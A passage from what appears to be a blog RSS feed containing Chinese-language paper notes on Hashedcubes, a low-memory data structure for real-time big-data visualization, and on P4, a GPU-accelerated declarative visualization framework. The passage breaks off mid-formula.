<p>Duin 1976. On the Choice of Smoothing Parameters for Parzen Estimators of Probability Density Functions. <em>IEEE Transactions on Computers</em>. C–25, 11 (Nov. 1976), 1175–1179. DOI:<a href="https://doi.org/10.1109/TC.1976.1674577">https://doi.org/10.1109/TC.1976.1674577</a>. <a href="#user-content-fnref-1" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-2">
<p>Wand, M.P. and Jones, M.C. 1994. <em>Kernel smoothing</em>. CRC press. <a href="#user-content-fnref-2" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-3">
<p>Hall, P. 1982. Cross-validation in density estimation. <em>Biometrika</em>. 69, 2 (1982), 383–390. DOI:<a href="https://doi.org/10.1093/biomet/69.2.383">https://doi.org/10.1093/biomet/69.2.383</a>. <a href="#user-content-fnref-3" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-4">
<p>Scott, D.W. 1992. <em>Multivariate density estimation: theory, practice, and visualization</em>. John Wiley &#x26; Sons. <a href="#user-content-fnref-4" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></description>
            <link>https://jtchen.io/blog/kde-from-scratch</link>
            <guid isPermaLink="false">kde-from-scratch</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Fri, 06 Jan 2023 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Paper Notes: Hashedcubes: Simple, Low Memory, Real-Time Visual Exploration of Big Data]]></title>
            <description><![CDATA[<h2 id="intro"><a href="#intro">Intro</a></h2>
<p>Hashedcubes 是 Cicero A. L. Pahins 等作者发表在 TVCG 2017 年上的工作，旨在提出一个可以对大数据进行实时可视探索的数据结构。该数据结构可以满足低内存占用、低查询延迟、简单易实现等要求。经实验，在部分情况下，Hashedcubes 可以在空间占用上比最新的方式减少两个数量级的占用。本文描述了 Hashedcubes 的数据结构与构建方式，以及其在注入聚类散点图、直方图、热力图等可视化图表中的应用方式。也用真实世界中的若干数据集进行了评测，从内存占用、构建时间、查询延迟等维度来进行评价。</p>
<h3 id="动机"><a href="#动机">动机</a></h3>
<p>高维大规模数据的实时可视化系统开发中时常需要解决数据查询的高延迟问题。对数据简单的线性扫描往往会使得延迟不可接受，而近年来提出的种种复杂数据结构虽然能带来高效的查询效率，却由于复杂的实现和 GPU 的支持而难以和现有的系统有机整合。于是本文提出思考：是否存在一个相对简单的数据结构，既能够提供和复杂数据结构想当的性能表现，又能够保持较低的内存占用与实现的简洁性？</p>
<h3 id="主要工作"><a href="#主要工作">主要工作</a></h3>
<p>于是本文主要做的工作包括：</p>
<ul>
<li>提出了 Hashedcubes，一个用于对高维大规模数据的实时可视化探索的简洁数据结构</li>
<li>一个对 Hashedcubes 的实验性的、验证性的系统实现，用于评测内存占用与查询、构建时间</li>
<li>一系列关于使用 Hashedcubes 的 trade-off 讨论</li>
</ul>
<p>与本文相关的工作包括大规模数据的可视化分析、时空数据分析与相关系统实现的若干挑战等。</p>
<h2 id="hashedcubes-的构建"><a href="#hashedcubes-的构建">Hashedcubes 的构建</a></h2>
<h3 id="直观认知"><a href="#直观认知">直观认知</a></h3>
<p>文章讲述了设计 Hashedcubes 背后的动机与逻辑。可视化图表中常见的图表绘制问题背后的数据来源往往是「计数」（如某一天、某一区域发生的事件次数作为视觉编码中的一个符号）。此外，数组的长度不受其内元素顺序的影响。因此，对于数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 中一个连续区域的元素集 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，我们可以使用一对索引 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>b</mi><mo separator="true">,</mo><mi>e</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(b,e)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">e</span><span class="mclose">)</span></span></span></span> 来表示，称为 pivot。通过将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 划分为互不重合的区域，我们可以通过若干 pivot 来表示整个数组。这样的一种表示方式允许用户在查询时快速跳跃数据，也充分保留了划分的自由性。而每一个划分又可以作为一个新的数组，允许后续在此划分上做进一步划分。</p>
<p>直观上，这种层级的划分机制便是 Hashedcubes 的基础。例如，对于一个具有星期数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi></mrow><annotation encoding="application/x-tex">d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span>，小时数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>，网络端口 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 三个维度的网络日志数据集，我们可以依次对每个维度进行划分并得到一系列的 pivot 数组，即三个，分别对应于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi></mrow><annotation encoding="application/x-tex">d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 维度、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>d</mi><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(d,h)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mclose">)</span></span></span></span> 维度、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>d</mi><mo separator="true">,</mo><mi>h</mi><mo separator="true">,</mo><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(d,h,p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span> 维度。有了这些 pivot 数组之后，计数统计也就可以快速完成，而无需依次扫描数组了。在次基础之上，再给每个 pivot 记录他们所下属的更细维度的范围（如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi></mrow><annotation encoding="application/x-tex">d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 维度的 pivot 同时也会记录这个 pivot 所下属的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>d</mi><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(d,h)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mclose">)</span></span></span></span> 维度的范围），便可以在不同层级的 pivot 数组间建立联系 —— 这些机制是对 Hashcudes 的直观认知。</p>
<h3 id="构建流程"><a href="#构建流程">构建流程</a></h3>
<p>Hashedcubes 的构建需要按照一定的维度顺序。其支持的维度类型包括：空间（spatial）、类别数据（categorical）、时序（temporal）。Pivot 层级的构建技术上支持任意顺序，但在实际中往往采样采用空间 -> 类别 -> 时序的顺序。多层的 pivot 数组本质上表达了树状的层级结构，每个节点包含的索引起止信息允许聚合操作能够从中快速获取大小信息。</p>
<p>下图为 Hashedcubes 针对一个简单包含 10 个点的时空数据的构建流程示例。其维度为：<code>[[Latitude, Longitude], [Divice], [Time]]</code>。分别每个维度进行聚合、排序，可以得到如右上侧的排序结果；针对每一维度生成的 pivot 数组也如图所示。Hashedcubes 最终保留的结果便为排序后的数组与一系列的 pivot 数组。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/13/1655132286.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/13/1655132286.png" alt="image-20220613225805635" loading="lazy" data-wrapped="true"></a></p>
<p>和 Nanocubes 相比，Hashcubes 的没有提前计算所有的查询操作，将部分操作保留在运行时计算，从而节省了时间开销。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655176996179.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655176996179.png" alt="image-20220614112315870" loading="lazy" data-wrapped="true"></a></p>
<h4 id="空间维度"><a href="#空间维度">空间维度</a></h4>
<p>空间维度的高效查询通常涉及到分层的空间数据结构，如四叉树。Hashedcubes 将四叉树中的四分之一作为一个 pivot，将该区域内的数据点排序聚合在一起，使得连续的数据点都包含在同一个分区内。</p>
<p>针对具有多个空间维度的情况，使用四叉树的不同层来交错划分空间区域，每个空间维度都拥有一个独立的四叉树，如下图中红蓝两色所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/13/1655133982972.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/13/1655133982972.png" alt="image-20220613232622802" loading="lazy" data-wrapped="true"></a></p>
<p>Hashedcubes 的构建需要控制最小叶节点的大小。每个维度的输出都是下一个维度的输入，用于进一步细分子维度的区域，所以需要控制最小叶节点的大小，太小则会导致子集过多，而太大又会影响可视化结构的精确性。这一大小同时也会导致性能表现和内存占用的大幅变动。</p>
<h4 id="类别维度"><a href="#类别维度">类别维度</a></h4>
<p>对于不同的粒度，会产生不同大小的 pivot 数组。Hashedcubes 通过存储一个 <code>CategoricalNode</code> 的数据结构来基于独特属性的个数来产生稠密向量。如上图中的例子，系统会为大小为 4 的输入创建 4 个 <code>CategoricalNode</code>，每个 node 里会包含一个含有两个 pivot 的向量。对于含有多个类别维度的数据，Hashedcubes 会依次处理（而不是类似空间维度中交错处理的四叉树）。</p>
<h4 id="时序维度"><a href="#时序维度">时序维度</a></h4>
<p>采用类似于类别维度的处理方式，以一段时间作为一个 pivot 的边界。如下图所示。使用两次二分查找来寻找到起止时间所在的 pivot 并对边界累加即可快速的到查询结果。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655185770349.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655185770349.png" alt="image-20220614134930095" loading="lazy" data-wrapped="true"></a></p>
<h3 id="查询流程"><a href="#查询流程">查询流程</a></h3>
<p>Hashedcubes 的查询由一系列子句（clause）组成。每个子句包括一个维度，并定义是否有范围限制（constraints）或分组查询（group by）。查询的结果则包括一个经过聚合的 pivot 组成。最初的查询范围包括了整个数据集，即整个数组，每一维度的限制或分组所查询到的部分 pivot 用于下一步的搜索，类似于使用了两个列表的 BFS：一个用于拓展范围，一个用于临时存储。</p>
<p>由于查询都是在基于数组的数据结构上进行的，所以相对于于基于树的数据结构，可以更充分地利用 CPU cache 保证查询的高效性。</p>
<h3 id="实现"><a href="#实现">实现</a></h3>
<p>服务端采用 C++ 编写，数据来源为 csv 格式的结构数据。客户端基于 Web 构建，采用 OpenStreetMap 作为地图提供商。客户端与服务端之前通过 HTTP API 沟通。</p>
<h2 id="数据集与评测"><a href="#数据集与评测">数据集与评测</a></h2>
<p>本文涉及的数据集包括：</p>
<ul>
<li>基于位置的社交网络：Brightkite 与 Gowalla</li>
<li>航线准时性数据：过去 20 年的美国航线准时性数据，采用了 3 种不同的 schema，其中包括一种和 Nanocubes 相同的 Schema，一种和 imMens 相同的 Schema</li>
<li>SPLOM：一个合成的测试数据集，具备不同的 bin size，用于在 ScatterPlot Matrix Benchmark 中测试 data cube 的性能</li>
<li>Twitter：从 Twitter API 收集的一整年的推特数据，包括地理位置、设备和发帖时间、用户语言等维度</li>
<li>出租车数据：纽约不同公司出租车的接客点、下客点、时间等，包含两个 Schema 等维度</li>
</ul>
<p>为上述各个数据集构建 Hashedcubes 所需要的内存、时间与最终生成的 pivot 数量如下表所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655186612113.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655186612113.png" alt="image-20220614140331634" loading="lazy" data-wrapped="true"></a></p>
<h3 id="内存占用"><a href="#内存占用">内存占用</a></h3>
<p>Hashedcubes 相比 Nanocubes 大幅减少了内存占用，至多 降低了 5.2 倍。Nanocubes 使用 46.4 GB 内存的数据集在 Hashedcubes 中只需要 9.4 GB，远低于当下常见服务器的内存配置。</p>
<p>在实验数据集 SPLOM 上，Hashedcubes 的内存占用同样表现良好。其中，对于出租车数据集，Nanocubes 需要占用多达 321 GB 内存（估计），故无法完成任务。</p>
<h3 id="构建时间"><a href="#构建时间">构建时间</a></h3>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655186865457.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655186865457.png" alt="image-20220614140745106" loading="lazy" data-wrapped="true"></a></p>
<p>构建时间的主要瓶颈为排序过程的用时，尤其是在处理空间维度上的信息时（往往涉及到大量的排序操作）。经实验，和 Nanocubes 相比， Hashedcubes 的构建时间要快至多 30 倍，平均 10 倍。</p>
<h3 id="查询延迟"><a href="#查询延迟">查询延迟</a></h3>
<p>实验所用到的查询取自 Nanocubes 的官网，包括一系列的刷选、连接操作等。下图为查询所耗费的时间实验结果，可以看到大多数查询的时间消耗都在 40ms 内，允许高于 25fps 的实时交互。服务端与客户端的沟通虽然也会消耗一定时间，但这部分时间主要由地图瓦片传输的时间决定，相对之下 Hashedcubes 所提供的信息传输时间可以忽略不计。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655187055204.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655187055204.png" alt="image-20220614141054879" loading="lazy" data-wrapped="true"></a></p>
<p>尽管在某些情况下 Hashedcubes 的查询时间略微慢于最佳效果（Nanocubes 的最差查询时间为 12 ms、imMens 平均查询时间为 20ms），但典型查询时间已经足够用于实时可视化互动系统的开发与实现。即便是在有上千万个元素的数据集的情况下，也只有约 2% 的查询时间超过了 40ms。</p>
<h2 id="讨论"><a href="#讨论">讨论</a></h2>
<h3 id="pivot-构建的顺序"><a href="#pivot-构建的顺序">Pivot 构建的顺序</a></h3>
<p>Hashedcubes 背后的核心方法为 Pivot Hierarchy。不同维度理论上可以按照任意顺序构建 pivot 数组，但经实际测试不同的顺序由于背后的排序开销不同，导致的构建时间和内存占用也会有许多不同（如对 Brightkite 使用空间 -> 时序 -> 类别的构建顺序，其最大查询时间从 94ms 增加到了 281ms，内存占用增加了 25% ）。</p>
<h3 id="与数据库的整合"><a href="#与数据库的整合">与数据库的整合</a></h3>
<p>无论是 Hashedcubes 还是之前提出的 imMens、Nanocubes 都可以看做是近似数据库（approximate databases）。但 Hashedcubes 背后的简介概念使其和完整数据库记录的整合变得更加直观。通过将 Hashedcubes 内部的 pivot 和数据库的索引相关联，用户便可以直接从可视化结果中检索到原始数据，也可以让用户在视觉上的查询触发对应的 SQL 查询来同步检索完整数据。一个例子如下图所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655191324479.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655191324479.png" alt="image-20220614152204116" loading="lazy" data-wrapped="true"></a></p>
<h3 id="叶节点大小与视觉准确性的-trade-off"><a href="#叶节点大小与视觉准确性的-trade-off">叶节点大小与视觉准确性的 Trade-off</a></h3>
<p>在 Hashedcubes 中，每一个维度的划分输出将作为下一个维度的划分输入。尤其是对于空间数据，最小的叶节点的大小即指定了单个空间最小划分区域的大小阈值。于是当一个空间区域内的数据个数达到阈值后，将不会再继续被划分。这些区域被称为 truncated pivot。这有利于高效查询、避免后续维度的划分过小，但在视觉上可能会引起异常（尤其是在数据集稀疏的地方）。</p>
<p>从该图中可以得到直观的对比。a 中，truncated pivot 用矩形来表示，b、c 中用圆形来表示聚合中心，可以看到不同 leaf-size 对最终渲染效果的影响：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655194626729.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2022/06/14/1655194626729.png" alt="image-20220614161705875" loading="lazy" data-wrapped="true"></a></p>
<h3 id="未来工作"><a href="#未来工作">未来工作</a></h3>
<p>本文的未来工作主要在以下方面：</p>
<ul>
<li>对维度计算顺序与各项参数的自动计算与优化。探索一个评价标准，使得系统在构建索引前自适应调整维度顺序、叶节点大小等参数；或创建更多的 Hashedcubes 实例来优化构建过程、最小化查询时间和内存占用。</li>
<li>动态数据或流数据的处理能力的探索。</li>
<li>对紧凑内存数组（<em>Packed Memory Array</em> or PMA）的进一步深入探索。对这一现有数列结构的良好利用这可能可以进一步优化效率。</li>
</ul>
<hr>
<p>[1] C. A. L. Pahins, S. A. Stephens, C. Scheidegger, and J. L. D. Comba, “Hashedcubes: Simple, Low Memory, Real-Time Visual Exploration of Big Data,” <em>IEEE Trans. Visual. Comput. Graphics</em>, vol. 23, no. 1, pp. 671–680, Jan. 2017, doi: <a href="https://doi.org/10.1109/TVCG.2016.2598624">10.1109/TVCG.2016.2598624</a>.</p>
<p>[2] L. Lins, J. T. Klosowski, and C. Scheidegger, “Nanocubes for Real-Time Exploration of Spatiotemporal Datasets,” <em>IEEE Transactions on Visualization and Computer Graphics</em>, vol. 19, no. 12, pp. 2456–2465, Dec. 2013, doi: <a href="https://doi.org/10.1109/TVCG.2013.179">10.1109/TVCG.2013.179</a>.</p>
<p>[3] Z. Liu, B. Jiang, and J. Heer, “<em>imMens</em> : Real-time Visual Querying of Big Data,” <em>Computer Graphics Forum</em>, vol. 32, no. 3pt4, pp. 421–430, Jun. 2013, doi: <a href="https://doi.org/10.1111/cgf.12129">10.1111/cgf.12129</a>.</p>
<p>[4] C. A. de L. Pahins, <em>cicerolp/hashedcubes</em>. 2022. Accessed: Jun. 14, 2022. [Online]. Available: <a href="https://github.com/cicerolp/hashedcubes">https://github.com/cicerolp/hashedcubes</a></p>]]></description>
            <link>https://jtchen.io/blog/paper-notes-hashedcubes</link>
            <guid isPermaLink="false">paper-notes-hashedcubes</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 13 Jun 2022 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Paper Notes: P4: Portable Parallel Processing Pipelines for Interactive Information Visualization]]></title>
            <description><![CDATA[<h2 id="intro"><a href="#intro">Intro</a></h2>
<p>P4， 即 Portable Parallel Processing Pipelines，是由 Jianping Kelven Li、Kwan-Liu Ma 发表在 TVCG 2020 的工作。其提出了一个结合了声明式设计标准和 GPU 计算的、用于构建高性能可视化系统的信息可视化框架，利用 GPU 计算来加速数据处理过程和交互可视化应用中的可视化渲染流程。其提供的 API 可以用于数据转换、视觉编码、交互的快速开发。P4 通过在保持对设计标准的高度灵活性和可自定义性的前提下，简化了经 GPU 加速的可视化系统的开发流程。同时，相对于其他工具链，P4 在创建可交互的可视化方面提供了极大的效率提升。</p>
<h3 id="动机"><a href="#动机">动机</a></h3>
<p>具备交互的可视化系统，尤其是在处理大规模数据时，需要在数据处理和可视化渲染两个任务上具备高效性。而主流的计算设备大多可以通过 GPU 为这两个任务提供性能提升。因此本文尝试探索 GPU 计算在这两个任务上的潜力，以为开发人员提供一个新的、高性能的可视化开发工具。</p>
<p>P4 主要针对 4 个目标进行设计：</p>
<ul>
<li>Performance：旨在合理分配利用 GPU 资源来储存、处理数据，以获得无缝的高性能</li>
<li>Productivity：旨在提供一个良好架构的、声明式的 API</li>
<li>Programmability：旨在提供高度的可定制性和灵活性，让用户可以自定义数据操作与视觉编码的复杂逻辑</li>
<li>Portablity：P4 作为利用 WebGL 的 Web 开发框架，可在不同的现代浏览器中按预期工作</li>
</ul>
<h3 id="相关工作"><a href="#相关工作">相关工作</a></h3>
<h4 id="可视化工具链"><a href="#可视化工具链">可视化工具链</a></h4>
<p>许多可视化工具与库均提供声明式的语法来设计可视化应用，包括 <code>ggplot2</code>、<code>Protovis</code>、<code>D3</code>、<code>Vega</code>、<code>Vega-Lite</code> 等。声明式的语法可以将可视化、互动的具体设计从其背后的执行细节解耦出来，让开发者更聚焦在和应用相关的设计决策上。但现有工具极少利用到 GPU，难以保证大数据的实时互动性。</p>
<p>在与 GPU 相关的技术与可视化工具的结合发面，包括 <code>OpenGL</code>、<code>WebGL</code> 等图形 API，General Purpose GPU 的若干 API <code>OpenCL</code>、<code>CUDA</code>等，以及可视化社区一些使用 shader 来绘制可视化结果的尝试。不过目前的工作大多聚焦在使用 GPU 来渲染可视化结果，而没有利用到其并行的特性来处理数据。</p>
<h4 id="高性能可视化方法"><a href="#高性能可视化方法">高性能可视化方法</a></h4>
<p>为了应对大数据的可视化需求，目前已有若干方法来改善系统性能。包括使用过滤、数据降采样、数据方块的数据规约方法等。部分诸如 Tableau、Spotfire 等商业产品也使用分布式系统与运计算来预先处理大数据。这些方法需要对数据的先验知识，也会有额外的网络开销。</p>
<p>另一种方式为隐藏延迟来提升交互系统的体验，例如多线程的并行处理、数据的内存缓存、增量可视化等方式。也有若干工作利用到 GPU 渲染来提升性能，包括使用 GPU shader 渲染航班轨迹、预先将多维数据计算成 GPU 纹理的处理方式、使用 GPU 操作来实现常用的数据库操作符等工作。</p>
<h2 id="设计与-api"><a href="#设计与-api">设计与 API</a></h2>
<h3 id="概览"><a href="#概览">概览</a></h3>
<p>System Model：架构上，P4 的系统模型主要由 4 个部分组成：</p>
<ul>
<li>一个用于将 JSON 文档转换成 JS 函数调用的翻译器</li>
<li>一个用于调用 JS 函数的 API</li>
<li>一个用于在运行时将用户指定的参数转换成 GPU 程序的生成器</li>
<li>一个用于管理输入与输出的控制器</li>
</ul>
<p>Data Model：数据模型上，P4 使用以列为主要顺序（Column Major Order，即同一维度的数据在内存中相邻）的统一数据模型来编码在 GPU 内存中的多维数据。该数据模型同时支持 numerical 和 categorical 两种数据类型，以单精度浮点数作为数据格式。GPU 内存同时存储了元数据。</p>
<p>Execution Model：运行模型上，P4 指定包含数据模式和一系列用于数据转换（Data Transformation）和可视化的操作符的 <code>pipeline</code> 为核心流程。运行时，这些操作符被转换成 GPU 程序。在一个 <code>pipeline</code> 内，所有数据和程序均在 GPU 上完成，没有 CPU 和 GPU 之间的传输消耗。</p>
<h3 id="api"><a href="#api">API</a></h3>
<p>P4 的声明式语法使用类似 JSONiq 和 NoSQL 数据库的设计。数据转换相关的运算符有：</p>
<ul>
<li><code>Derive</code>：从已有值生成新的值供后续运算</li>
<li><code>Match</code>：筛选数据，使得满足条件的数据保留下来</li>
<li><code>Aggregate</code>：使用指定的聚合函数来分组数据</li>
</ul>
<!-- ![2022-04-24-CSrKVQ](https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-CSrKVQ.png) -->
<p>这些运算符可以以任意顺序组合。和可视化映射相关的属性有：<code>color</code>, <code>opacity</code>, <code>width</code>, <code>height</code>, <code>x</code>, <code>y</code>，支持 <code>circle</code>, <code>line</code>, <code>rectangle</code> 三种标记符号。其中 <code>x</code> 和 <code>y</code> 均可以指定为数组，渲染结果会是一个平行坐标图。</p>
<p>交互方面，P4 设计了高层的交互式语法。一个交互包含 event 和 response，其中 event 可以为 <code>click</code>, <code>hover</code>, <code>brush</code>, <code>zoom</code>, <code>pan</code>，response 则指定了 <code>pipeline</code> 中的每个可视化图表是如何根据 event 来重绘视图的。当 event 触发时，与其关联的数据值、参数等信息会被选中，用于在 response 中指定选中部分和未选中部分分别是如何表现的。</p>
<p>具体地，一个包含数据转换和可视化操作的例子如下：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-DLLS9L.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-DLLS9L.png" alt="2022-04-24-DLLS9L" loading="lazy" data-wrapped="true"></a></p>
<p>在此基础上，P4 提供了控制流相关的运算符，包括：</p>
<ul>
<li><code>register</code>，用于在 GPU 中保存 <code>pipeline</code> 的状态、缓存中间结果</li>
<li><code>resume</code>，用于将新的数据输入和设置输入到先前缓存的中间结果中</li>
<li><code>reset</code>，重置当前的状态来使用原始的数据来计算新的可视化结果</li>
<li><code>export</code>，以 JS 数组或 JSON 格式导出数据结果</li>
</ul>
<p>一个包含交互和控制流的的例子如下：</p>
<img width='80%' style='margin: auto' src='https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-Fw8Mk4.png' />
<p>为了避免大量数据渲染结果下的视觉混乱杂乱，P4 参考 Z. Liu 的感知增强算法，将数据值映射到透明度和颜色。具体地，在 GPU 中并行计算所有像素归一化的数据密度，然后基于下列计算方式更改像素的颜色与透明度：</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mover accent="true"><mi>α</mi><mo>^</mo></mover><mo>=</mo><mrow><mo fence="true">(</mo><mn>1</mn><mo>−</mo><msub><mi>α</mi><mi>min</mi><mo>⁡</mo></msub><mo fence="true">)</mo></mrow><msup><mrow><mo fence="true">(</mo><mfrac><mi>ρ</mi><msub><mi>ρ</mi><mi>max</mi><mo>⁡</mo></msub></mfrac><mo fence="true">)</mo></mrow><mi>γ</mi></msup><mo>+</mo><msub><mi>α</mi><mi>min</mi><mo>⁡</mo></msub></mrow><annotation encoding="application/x-tex">\hat{\alpha}=\left(1-\alpha_{\min }\right)\left(\frac{\rho}{\rho_{\max }}\right)^{\gamma}+\alpha_{\min }</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6944em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">^</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4543em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3175em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">i</span><span class="mtight">n</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" 